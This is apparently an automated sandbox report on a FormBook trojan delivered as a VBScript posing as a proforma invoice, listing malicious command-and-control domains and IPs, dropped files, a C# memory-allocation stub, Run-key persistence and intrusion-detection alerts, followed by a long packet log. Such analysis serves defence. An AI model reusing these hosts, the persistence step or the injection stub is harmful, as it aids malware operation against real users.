https://www.active24.cz/cssc/a21/main.less?v=b0266c48432540148d77fe7f70991539	rundll32.exe, 00000017.00000002.6901486904.0000000005922000.00000004.10000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
103.150.61.226	ghanesa.xyz	unknown	45325	PC24NET-AS-IDPTPC24TelekomunikasiIndonesiaID	true
101.99.94.169	unknown	Malaysia	45839	SHINJIRU-MY-AS-APShinjiruTechnologySdnBhdMY	false
66.29.155.228	www.linuxizes.com	United States	19538	ADVANTAGECOMUS	true
185.27.134.153	www.blueonb.com	United Kingdom	34119	WILDCARD-ASWildcardUKLimitedGB	true
145.14.153.89	hikingtaibah.com	Netherlands	204915	AWEXUS	true
104.21.51.250	www.147bronzeway.com	United States	13335	CLOUDFLARENETUS	true
142.250.185.179	unknown	United States	15169	GOOGLEUS	false
154.210.161.216	www.muziclips.com	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	true
89.46.108.25	www.ap-render.com	Italy	31034	ARUBA-ASNIT	true
216.18.208.202	xc8b49c6mnmdts.xyz	United States	18450	WEBNXUS	true
81.95.96.29	www.worldbrands.wine	Czech Republic	25234	GLOBE-AShttpwwwactive24czCZ	true
154.23.227.120	www.mojawapo.com	United States	174	COGENT-174US	true
217.160.0.178	www.maximilianvonah.com	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
130.211.17.207	www.ymsb.info	United States	15169	GOOGLEUS	false
154.80.183.133	www.wwwf2dni.com	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
188.114.96.3	www.receiveprim.online	European Union	13335	CLOUDFLARENETUS	true
217.21.87.131	itsfindia.online	United Kingdom	12491	IPPLANET-ASIL	true
154.95.160.71	www.emitacademy.com	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
199.15.163.148	td-balancer-199-15-163-148.wixdns.net	United States	14238	INNOVATIVE-NETWORKSUS	true
142.251.39.115	ghs.googlehosted.com	United States	15169	GOOGLEUS	false
13.248.216.40	www.coolarts.xyz	United States	16509	AMAZON-02US	true
104.21.39.116	www.secureartist.com	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	680487
Start date and time: 08/08/202217:38:57	2022-08-08 17:38:57 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 17m 49s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Unclear Proforma Invoice.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winVBS@46/10@32/22
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.3% (good quality ratio 89.9%) Quality average: 73.8% Quality standard deviation: 31.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .vbs Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): audiodg.exe, UserOOBEBroker.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
HTTP Packets have been reduced
TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted): 20.82.207.122
Excluded domains from analysis (whitelisted): client.wns.windows.com, wdcpalt.microsoft.com, fs.microsoft.com, slscr.update.microsoft.com, login.live.com, wd-prod-cp-eu-north-2-fe.northeurope.cloudapp.azure.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, wd-prod-cp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:42:03	API Interceptor	38x Sleep call for process: powershell.exe modified
17:43:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run TRF82PDXCN C:\Program Files (x86)\internet explorer\ielowutil.exe
17:43:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run TRF82PDXCN C:\Program Files (x86)\internet explorer\ielowutil.exe

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.841989710132343
Encrypted:	false
SSDEEP:	192:Qxoe5GVsm5emddVFn3eGOVpN6K3bkkjo5dgkjDt4iWN3yBGHD9smqdcU6C5pOWik:7hVoGIpN6KQkj22kjh4iUxgrib4J
MD5:	677C4E3A07935751EA3B092A5E23232F
SHA1:	0BB391E66C6AE586907E9A8F1EE6CA114ACE02CD
SHA-256:	D05D82E08469946C832D1493FA05D9E44926911DB96A89B76C2A32AC1CBC931F
SHA-512:	253BCC6033980157395016038E22D3A49B0FA40AEE18CC852065423BEF773BF000EAAEB0809D0B9C4E167883288B05BA168AF0A756D6B74852778EAAA30055C2
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\DB1

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8182303930711242
Encrypted:	false
SSDEEP:	96:+RMKLyeymwxCn8MZyFltK3PlGNxot83n:+RkxGO8PlGNxz
MD5:	A93B35941137916187814E3E7C88C93D
SHA1:	3834E7B2A614BD688831CFC47786729F6CAC0121
SHA-256:	0D1DC0E9F4C9BE281E17D24AC969E0FF3F8388114420417126A4F502EABC3107
SHA-512:	84A749B77BBED02944C9B25D1B98C638B3DBB906A2A222FF9FB229C7AC0C8A64D123D1CB47A1E9A88FB9E67BAD0928FE1C952152F30311EFC6C8B9330B9441B4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RESBA75.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.97503473456474
Encrypted:	false
SSDEEP:	24:HhzW9nu3gHzYwKTFpmfwI+ycuZhN0slUhakS3slUGPNnqS2d:wu3gTKTzmo1ul0slIa33slHqSG
MD5:	666A85681E60B3AC9938223A730434D5
SHA1:	F7937CEF891116C4CF75652ED89F11CCB94A8D93
SHA-256:	EAD0178C7FEC57A52286C45A168CE75685995ED1B19D662452ACBD99A2047539
SHA-512:	1ECA335886AC26380D8957F79D7B4174A53A38AC6591768B796D9F45B85708B830B7C2ED78B0C305B71C8AB462DB22A55DF3F1323E4D4466E37600FBE79106F7
Malicious:	false
Preview:	L....<.b.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........S....c:\Users\user\AppData\Local\Temp\tmhd51lu\CSCDE243CA280D4B5C9E282790C554DB9.TMP.................L.#..:5n.!..$2...........5.......C:\Users\user\AppData\Local\Temp\RESBA75.tmp.-.<....................a..Microsoft (R) CVTRES.].=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...t.m.h.d.5.1.l.u...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p4elcppe.v1c.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ro4sxpqd.lc5.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmhd51lu\CSCDE243CA280D4B5C9E282790C554DB9.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.104702651641772
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryCslUhak7Ynqq3slUGPN5Dlq5J:+RI+ycuZhN0slUhakS3slUGPNnqX
MD5:	A54C2E237F993A356EF6217F8F243201
SHA1:	0DA1630BDE14D0485511747AF96B4EC2123F26BD
SHA-256:	0B7FE34487CC34A6BA982258654AAB5581A39279A3D32955257DBABE1B78AC12
SHA-512:	9D7EE4656FBD187D43CBC04E2B0B73B86142AECA5C66F4101FF2B3BF7E7EEE32B2C4D5AC34B16BB6A9147F343F0EB9D36CA92846EED0807C49A3C2E0CC34103A
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...t.m.h.d.5.1.l.u...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...t.m.h.d.5.1.l.u...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	618
Entropy (8bit):	5.034501985170115
Encrypted:	false
SSDEEP:	6:V/DsDrSvS/V4SRHJGrfYkYy4YZ4SRBHACoQfYkYy4Ym2LGLohiIDSRbRumJwVYbb:V/DGrFNHaLZtUgf6qSN7Jwb5Fa
MD5:	5D11B747370938A6D5F8FAB59464F433
SHA1:	8AA9E3B0291692E502680CB3BB4F4D8DE7A526C5
SHA-256:	011A2549ACEB2D12BEE5D95DF0BE9D362867480B5ECD3FC1E005A29A1B8D95C8
SHA-512:	416CC345236EC8101E56A4EE252D55FDF2570DD3E82FAE815680406E1480414211FEA1EDA69E818D341B4013D796B08A2E0A72A579FADF453063D831AD951BCC
Malicious:	false
Preview:	.using System;..using System.Runtime.InteropServices;..public static class Skyd1..{..[DllImport("kernel32.dll")]public static extern IntPtr EnumTimeFormatsA(uint Derivativt5,int Derivativt6, int Derivativt7);....[DllImport("kernel32.dll")]public static extern IntPtr CreatePipe(uint Derivativt5,int Derivativt6, int Derivativt7);....[DllImport("ntdll.dll", EntryPoint="ZwAllocateVirtualMemory")]public static extern int Fida(int Skyd6,ref Int32 lndgh,int Derivativt,ref Int32 Skyd,int Rgende142,int Skyd7);....[DllImport("kernel32.dll")]public static extern IntPtr GetFileTime(uint Derivativt5,int Derivativt6);....}

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.224759987384812
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CN23ft0pzxs7+AEszICN23ft0Un:p37Lvkmb6KmcWZE75n
MD5:	F898635E850B4FE97421414CE9AA669E
SHA1:	93195A8F72CDAE2060AB66B4784A91AE796FAB72
SHA-256:	41B88E606BDCE22FACFE3D358C162048E393807B9631AE918E1893F6BFBF03E6
SHA-512:	6EC30AE827C00B10DA9CCC606C997DC9C35FEA7C5D18D3A3A368BCC9245D57C03BCC2DBAE48743EC8903FDA576524BC9281D7F4831193357EAA11956507925F5
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.0.cs"

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	2.7811919056506826
Encrypted:	false
SSDEEP:	48:6Cb4kW06cdAKO1Fg3x1ul0slIa33slHq:zHW2AMqyEIK3E
MD5:	9D54F02692716761E4B079E6C87033C8
SHA1:	E1D6EE824401F1E186820612B198FF12D9449045
SHA-256:	A1D7AF7F56EF42D4EB548A274DC4CF153B1A2FC352C5A11F6303BB31D6272101
SHA-512:	B5E296EB216A0385112ACF0E6ACD83C7535ECDFA8B7EC7747049961C0908E8665D0CEEA71CE6572C7E9F1E2123291579938052973F256F3CAABD42CD4CD3552C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.b...........!................~$... ...@....... ....................................@.................................,$..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................`$......H.......P ..............................................................BSJB............v4.0.30319......l...\|...#~..........#Strings....h.......#US.p.......#GUID.......\...#Blob...........G.........%3............................................................-.&...............=...................................... 4............ E............ P............ U.........a.....m.....y.....a.....m.....y.........................................a.....m.....#.....(.!...,.....1.....:.

C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, CR line terminators
Category:	modified
Size (bytes):	870
Entropy (8bit):	5.306264958836252
Encrypted:	false
SSDEEP:	24:KSqd3ka6KmNE78Kax5DqBVKVrdFAMBJTH:dika6PNE78K2DcVKdBJj
MD5:	62DAFA4E3D522FB7E7A88525C6221814
SHA1:	1C74ED6CA4B7F079B638226A31C9CD84EAAF3EDD
SHA-256:	DD322B1B9257EE6489387D63805D173644B792D2C737C2183CC08FB0B6BECD4B
SHA-512:	304480353130CBDE53B010D3156A207DD208B2914FA560C79B9D81DEC79557CF89D7A7CE87A84175562021CF267A481DA1A1E8F3D3F414D48E522198C9287C28
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\tmhd51lu\tmhd51lu.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.691634819052103
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	Unclear Proforma Invoice.vbs
File size:	223135
MD5:	2ccae65c60d12ce9d0d097db0d58cefa
SHA1:	4114f1b5a7c5ded759ca00fcbb10acfb4c72085f
SHA256:	d85deda96531cdada16f3d37ee1ad279289c60509f37b28e0d0dac0bd7e4c4ed
SHA512:	b506d03f3d224f115dda7ab6bba4f10a3339c89df8c9b9f22f4df4ad5f77605db05058328b7fe3ac3c71dd8966c9e98ba5c3fca9d149470c5c92ee94c07e924a
SSDEEP:	3072:BpLWvcTxLVb6TbVIcmPrYxynv+gg4mtcDIdXqTzjOyrqndFzwZ7B:jLKcSl/bU2ghmLilWlwZ9
TLSH:	4C2471615FB631FD2C1DF10B6F444C3FEAAE34CE149AB464A8E7064F4E0566A52EAD30
File Content Preview:	Function AGRONOMICAL(inclinableenslumbe)..If inclinableenslumbe = RTrim("Calciums182") Then ....Randomize....End If..End Function ..Sub Dekompositionernes47(Isolomagalleymandrilbor35)....Dim Unctoriumdelggel114..Unctoriumdelggel114 = Unctoriumdelggel114 &

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.20188.114.96.349786802031453 08/08/22-17:45:46.536997	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49786	80	192.168.11.20	188.114.96.3
192.168.11.20154.80.183.13349802802031453 08/08/22-17:46:39.844942	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49802	80	192.168.11.20	154.80.183.133
192.168.11.20217.21.87.13149787802031449 08/08/22-17:45:58.222329	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49787	80	192.168.11.20	217.21.87.131
192.168.11.20217.160.0.17849754802031449 08/08/22-17:44:17.775827	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49754	80	192.168.11.20	217.160.0.178
192.168.11.20188.114.96.349786802031412 08/08/22-17:45:46.536997	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49786	80	192.168.11.20	188.114.96.3
192.168.11.20217.21.87.13149787802031453 08/08/22-17:45:58.222329	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49787	80	192.168.11.20	217.21.87.131
192.168.11.20154.80.183.13349802802031449 08/08/22-17:46:39.844942	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49802	80	192.168.11.20	154.80.183.133
192.168.11.20217.160.0.17849754802031453 08/08/22-17:44:17.775827	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49754	80	192.168.11.20	217.160.0.178
192.168.11.20217.21.87.13149787802031412 08/08/22-17:45:58.222329	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49787	80	192.168.11.20	217.21.87.131
192.168.11.20154.80.183.13349802802031412 08/08/22-17:46:39.844942	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49802	80	192.168.11.20	154.80.183.133
192.168.11.20217.160.0.17849754802031412 08/08/22-17:44:17.775827	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49754	80	192.168.11.20	217.160.0.178
192.168.11.20188.114.96.349786802031449 08/08/22-17:45:46.536997	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49786	80	192.168.11.20	188.114.96.3

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 8, 2022 17:42:40.154238939 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.185498953 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.185774088 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.217540979 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.217978001 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.304166079 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.339495897 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.339559078 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.339606047 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.339652061 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.339788914 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.339839935 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.339852095 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.371812105 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.371889114 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.371948004 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.372000933 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.372054100 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.372064114 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.372107029 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.372122049 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.372134924 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.372143984 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.372160912 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.372215033 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.372318983 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.372364998 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.372386932 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.403767109 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.403826952 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.403907061 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.403956890 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.404027939 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.404078960 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.404103041 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.404149055 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.404160023 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.404170990 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.404220104 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.404273987 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.404289961 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.404313087 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.404345036 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.404414892 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.404433012 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.404469967 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.404470921 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.404516935 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.404522896 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.404563904 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.404608011 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.404655933 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.404674053 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.404711962 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.404839039 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.404875994 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.436423063 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.436527967 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.436587095 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.436640978 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.436693907 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.436738968 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.436745882 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.436798096 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.436810970 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.436819077 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.436876059 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.436925888 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.436960936 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.436971903 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.437066078 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437089920 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.437145948 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.437184095 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437237978 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437289000 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437287092 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.437334061 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.437340975 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437412977 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437450886 CEST	49750	80	192.168.11.20	101.99.94.169
Aug 8, 2022 17:42:40.437468052 CEST	80	49750	101.99.94.169	192.168.11.20
Aug 8, 2022 17:42:40.437495947 CEST	49750	80	192.168.11.20	101.99.94.169
